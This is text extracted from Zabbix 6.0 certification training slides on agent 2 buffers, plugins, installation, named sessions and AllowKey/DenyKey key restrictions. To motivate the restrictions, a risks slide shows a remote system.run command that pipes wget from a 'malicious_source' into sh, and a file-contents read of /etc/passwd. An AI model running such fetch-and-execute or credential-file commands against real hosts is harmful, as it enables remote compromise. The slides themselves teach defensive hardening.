ZCP_day_1_slides_Part5.pdf

AGENT 2 BUFFER Two types of buffers are supported by Zabbix agent 2 in active mode: Y P Memory buffer EnablePersistentBuffer=0 (default) BufferSize=100 Maximum number of values in a memory buffer Agent will send all the collected data to Zabbix server or proxy if the buffer is full T N Buffer u...

AGENT 2 BUFFER Two types of buffers are supported by Zabbix agent 2 in active mode: Y P Memory buffer EnablePersistentBuffer=0 (default) BufferSize=100 Maximum number of values in a memory buffer Agent will send all the collected data to Zabbix server or proxy if the buffer is full T N Buffer using SQLite engine EnablePersistentBuffer=1 PersistentBufferPeriod=1h PersistentBufferFile=/var/lib/zabbix/buffer.sql O C U T E D Do not keep data in the buffer for longer than specified number of seconds: BufferSend=5 If the buffer is full, values are sent immediately S 6.0 Certified Professional ● Day 1 © 2023 by Zabbix. All rights reserved Theory 81 ZABBIX AGENT2 ARCHITECTURE A very simplified Agent 2 architecture: Y P All plugins execute tasks parallelly Each plugin may have up to 100 workers O C Zabbix agent 2 T N Connector E D Configuration U T S 6.0 Certified Professional ● Day 1 Collected data Scheduler Plugins Task Plugin Task Plugin Task Plugin © 2023 by Zabbix. All rights reserved Theory 82 AGENT 2 COMPONENTS Y P The main Agent 2 components are: Connectors communicate with Zabbix server: O C Get configuration updates, create configuration update tasks and send to the Scheduler Send the collected values back to Zabbix server One connector per Zabbix server is created (if agent reports to multiple Zabbix instances) Each connector has its own result cache T N Scheduler manages tasks according to the schedule and task concurrency settings: E D All tasks are managed by a single scheduler process Scheduler manages queues for all the active plugins Configuration update tasks have the highest priority U T Plugins perform data collection based on queue: S Each plugin has its own queue of the requested checks Each plugin may have up to 100 workers working parallelly 6.0 Certified Professional ● Day 1 © 2023 by Zabbix. All rights reserved Theory 83 AGENT 2 PLUGINS Zabbix agent 2 plugin is a Go package, which: Y P Collects metrics by implementing one or several plugin interfaces: Exporter, Collector, Runner, Watcher O C Is inactive by default and activated only when a metric provided by a plugin is monitored T N Plugins provide an option to extend the monitoring capabilities of Zabbix. Written in Go programming language and supported for Zabbix agent 2 only E D Alternative to "loadable modules" for C based agent U T The following features are specific to agent 2 and its plugins: Single configuration file (zabbix_agent2.conf) S Each plugin may have its own specific parameters i https://www.zabbix.com/documentation/6.0/manual/config/items/plugins 6.0 Certified Professional ● Day 1 © 2023 by Zabbix. All rights reserved Theory 84 INSTALLING ON LINUX Zabbix agent 2 installation is very simple: Y P By installing official Zabbix repository O C # dnf install https://repo.zabbix.com/zabbix/6.0/rhel/9/x86_64/zabbix-release-latest.el9.noarch.rpm # dnf install zabbix-agent2 By installing Zabbix agent 2 package separately T N # dnf install https://repo.zabbix.com/zabbix/6.0/rhel/9/x86_64/zabbix-agent2-6.0.18-release1.el9.x86_64.rpm Configure zabbix_agent2.conf the same way as for C based agent E D Specify Server= for passive checks Specify ServerActive and Hostname for active checks U T Start Zabbix agent: S # systemctl start zabbix-agent2 Enable auto-start: # systemctl enable zabbix-agent2 6.0 Certified Professional ● Day 1 © 2023 by Zabbix. All rights reserved Theory 85 COMMAND-LINE OPTIONS Zabbix agent 2 has similar command-line options to Zabbix agent: Y P Use runtime help command to obtain available commands # zabbix_agent2 -R help Remote control interface, available commands: log_level_increase - Increase log level log_level_decrease - Decrease log level userparameter_reload - Reload user parameters metrics - List available metrics version - Display Agent version help - Display this help message T N O C E D Use runtime commands U T # zabbix_agent2 -R log_level_increase Increased log level to debug # zabbix_agent2 -R userparameter_reload User parameters reloaded # zabbix_agent2 -R version 6.0.16 S 6.0 Certified Professional ● Day 1 © 2023 by Zabbix. All rights reserved Theory 86 PLUGIN SETTINGS The list of available metrics is divided into plugin sections: Active (true / false) Whether the plugin is used for monitoring Capacity (0 -100) Concurrent checks currently running Tasks How many checks are defined T N Y P O C # zabbix_agent2 -R metrics [NetIf] active: true capacity: 0/100 tasks: 2 net.if.in: Returns incoming traffic statistics on network interface. net.if.out: Returns outgoing traffic statistics on network interface. U T E D [Uptime] active: false capacity: 0/100 tasks: 0 system.uptime: Returns system uptime in seconds. S If no metrics are collected for 24 hours, plugin becomes inactive 6.0 Certified Professional ● Day 1 © 2023 by Zabbix. All rights reserved Theory 87 STATUS VIEW Status of a running agent can be viewed via a web browser: Y P Set the parameter "StatusPort=" to some unused port The status page will be accessible from anywhere using HTTP protocol: O C ### Option: StatusPort # Agent will listen on this port for HTTP status requests. StatusPort=10080 In the browser navigate to: T N E D http://agent2.example.com:10080/status U T S 6.0 Certified Professional ● Day 1 © 2023 by Zabbix. All rights reserved Theory 88 PLUGIN CONFIGURATION All plugins are configured using "Plugins.*" parameter in "zabbix_agent2.conf" Y P It has a section, where specific parameters of the plugin can be described Syntax: Plugins.<PluginName>.<Parameter>=<Value> The parameter should begin with a capital letter O C Number of concurrent checks within one plugin can be limited T N Plugins.<PluginName>.System.Capacity=<Value> Range 1 - 100, default is 100 E D Plugins.Log.System.Capacity=50 Some plugins have plugin specific parameters: U T Plugins.Log.MaxLinesPerSecond=20 Plugins.Memcached.Timeout=10 Plugins.Memcached.KeepAlive=300 i S https://www.zabbix.com/documentation/6.0/manual/config/items/plugins 6.0 Certified Professional ● Day 1 © 2023 by Zabbix. All rights reserved Theory 89 FORCE ACTIVE CHECK IN START Zabbix agent 2 can check all active checks on start Y P The first data collection for active checks is scheduled at a conditionally random time within the item's update interval O C This can be changed used the ForceActiveChecksOnStart parameter (since 6.0.2) ### Option: ForceActiveChecksOnStart # Perform active checks immediately after restart for first received configuration. # Mandatory: no # Range: 0-1 ForceActiveChecksOnStart=1 T N E D This setting can be defined individually on a plugin level if required U T Plugin-level parameter, if set, will override the global parameter S # Also available as per plugin configuration Plugins.Uptime.System.ForceActiveChecksOnStart=1 6.0 Certified Professional ● Day 1 © 2023 by Zabbix. All rights reserved Theory 90 AGENT 2 NAMED SESSIONS Named sessions: Y P Represent an additional level of plugin parameters Required to specify DB connection encryption parameters O C Syntax: Plugins.<PluginName>.Sessions.<SessionName>.<Parameter>=<Value> T N Only the following parameters are supported in named sessions: Plugins.<PluginName>.Sessions.<SessionName>.Uri Plugins.<PluginName>.Sessions.<SessionName>.User Plugins.<PluginName>.Sessions.<SessionName>.Password E D In case an authentication parameter is not specified for the named session, hardcoded default value will be used U T If a session name is used in key parameters, username and password should be empty S Passing embedded URI credentials is not supported i https://www.zabbix.com/documentation/6.0/manual/config/items/plugins#named_sessions 6.0 Certified Professional ● Day 1 © 2023 by Zabbix. All rights reserved Theory 91 AGENT 2 PLUGINS Named sessions example: Y P Monitoring of two sessions "MySQL1" and "MySQL2": Plugins.Mysql.Sessions.MySQL1.Uri=tcp://127.0.0.1:3306 Plugins.Mysql.Sessions.MySQL1.User=<UsernameForMySQL1> Plugins.Mysql.Sessions.MySQL1.Password=<PasswordForMySQL1> Plugins.Mysql.Sessions.MySQL2.Uri=tcp://127.0.0.1:3307 Plugins.Mysql.Sessions.MySQL2.User=<UsernameForMySQL2> Plugins.Mysql.Sessions.MySQL2.Password=<PasswordForMySQL2> T N O C E D Now, these names can be used as connStrings in keys instead of specifying parameters: # zabbix_agent2 -t mysql.db.size[MySQL1,,,zabbix] mysql.db.size[MySQL1,,,zabbix] [s|248397824] U T Parameters also can be specified directly, if needed: S # zabbix_agent2 -t mysql.db.size[tcp://localhost,root,P455w0rD,zabbix] mysql.db.size[tcp://localhost,root,P455w0rD,zabbix] [s|248397824] 6.0 Certified Professional ● Day 1 © 2023 by Zabbix. All rights reserved Theory 92 AGENT 2 PLUGINS Integrated plugins and templates are available out-of-the-box: Y P DB MySQL DB PostgreSQL DB Oracle DB Redis T N App Docker App Memcached O C E D … and more coming U T Zabbix agent 2 templates work in conjunction with the plugins: S The basic configuration can be done by simply adjusting user macros A deeper customisation can be achieved by configuring the plugin itself i https://www.zabbix.com/documentation/6.0/manual/config/templates_out_of_the_box/zabbix_agent2 6.0 Certified Professional ● Day 1 © 2023 by Zabbix. All rights reserved Theory 93 AGENT 2 SPECIFIC KEYS Zabbix agent 2 has new built-in keys: Y P docker.* docker.containers.discovery, docker.info, etc. mysql.* mysql.db.discovery, mysql.db.size, etc. pgsql.* T N pgsql.autovacuum.count, pgsql.cache.hit, etc. oracle.* O C E D oracle.ping, oracle.version, oracle.user_rollbacks_rate, oracle.memory_sorts_ratio, etc. memcached.* memcached.ping, memcached.stats U T redis.* redis.info, redis.config, redis.ping etc. S systemd.* systemd.unit.discovery, systemd.unit.info i https://www.zabbix.com/documentation/6.0/en/manual/config/items/itemtypes/zabbix_agent/zabbix_agent2 6.0 Certified Professional ● Day 1 © 2023 by Zabbix. All rights reserved Theory 94 PRACTICAL SETUP Y P 1) Install Zabbix agent 2 on your training VM Configure agent to accept passive connection from Zabbix server Configure firewall to allow passive connection to Zabbix agent Test agent variant with "zabbix_get" utility O C 2) Add a new host in frontend and check for metrics and agent availability Name: Interface: Host group: Link to template: T N Training-VM-XX Zabbix agent; DNS = student-XX Training/Servers Linux memory by Zabbix agent E D 3) Create a new host to monitor MySQL database using Zabbix agent2 plugin U T Name: Zabbix MySQL database Interface: Zabbix agent; IP = 127.0.0.1 Host group: Training/Databases Link to template: MySQL by Zabbix agent 2 Configure user macros and check that MySQL database is monitored S 4) Check Zabbix frontend certificate using Zabbix agent2 Day 1 6.0 Certified Professional ● Day 1 © 2023 by Zabbix. All rights reserved 20 minutes Practical task No: 5 95 Y P T N O C E D Restricting agent checks U T S 6.0 Certified Professional ● Day 1 © 2023 by Zabbix. All rights reserved 15 minutes 96 POTENTIAL RISKS Zabbix agent can collect sensitive information from: Configuration files Log files Password files etc. #zabbix_get -s my.prod.host -k vfs.file.contents[/etc/passwd] T N root:x:0:0:root:/root:/bin/bash daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin sssd:x:996:993:User for sssd:/:/sbin/nologin sshd:x:74:74:SSH:/var/empty/sshd:/sbin/nologin mysql:x:27:27:MySQL Server:/var/lib/mysql:/sbin/nologin zabbix:x:993:990:Zabbix:/var/lib/zabbix:/sbin/nologin O C E D U T S Y P Zabbix agent can execute remote commands: system.run[] item key allows to execute any remote command on the remote host Zabbix frontend scripts also allow to execute commands on Zabbix agents # zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"] 6.0 Certified Professional ● Day 1 © 2023 by Zabbix. All rights reserved Theory 97 ALLOW / DENY KEY Zabbix agent keys can be limited by using allow and deny rules: Y P By default, the following rules are applied: system.run[*] items are disabled by default (without specifying the rule) all other items are allowed for backward compatibility T N O C Zabbix agent configuration parameters are introduced for key access restriction: AllowKey=<pattern> DenyKey=<pattern> allow execution of all item keys matching pattern deny execution of all item keys matching pattern E D Pattern is a wildcard expression, which might be used in both the key name and parameters U T S Unlimited number of AllowKey/DenyKey parameters can be used in a configuration file i https://www.zabbix.com/documentation/6.0/manual/config/items/restrict_checks 6.0 Certified Professional ● Day 1 © 2023 by Zabbix. All rights reserved Theory 98 PATTERN RULES Wildcard (*) character matches any number of any characters in a certain position Y P Parameters must be fully enclosed in square brackets vfs.file.*[*] is correct system.run[* is considered wrong vfs.file*.txt] is considered wrong O C Wildcard might be used in both key name and parameters: T N Parameters must be specified as a wildcard if they may be used If parameters' wildcard is specified, the item key without parameters will not be matched E D It may be needed to specify both options - with and without parameters Key U T vfs.file.*[*] vfs.file.* S system.*[*] system.* Match Does not match vfs.file.contents[/etc/passwd] vfs.file.contents vfs.file.contents vfs.file.contents[/etc/passwd] system.run[rm -f /var/log/myapp.log] system.cpu.load system.cpu.load system.run[rm -f /var/log/myapp.log] 6.0 Certified Professional ● Day 1 © 2023 by Zabbix. All rights reserved Theory 99 ORDER OF RULES Rules are checked in the order in which they have been specified: Y P As soon as an item key matches Allow or Deny rule, it is either allowed or denied Rule checking stops after the first matched rule zabbix_agent2 -t system.run[cat /proc/stat] T N AllowKey=system.run[free] Pattern does not match E D AllowKey=system.run[cat /proc/stat] DenyKey=system.run[*] U T S Pattern match Allow Rule ignored Correct order AllowKey=vfs.file.*[/var/log/myapp/*] AllowKey=vfs.file.*[/var/log/mydb/*] DenyKey=vfs.file.*[*] ! O C Wrong order DenyKey=system.run[*] AllowKey=system.run[ipcs -l] AllowKey=system.run[free] If "DenyKey=*" is specified first in the list, no other rules take effect 6.0 Certified Professional ● Day 1 © 2023 by Zabbix. All rights reserved Theory 100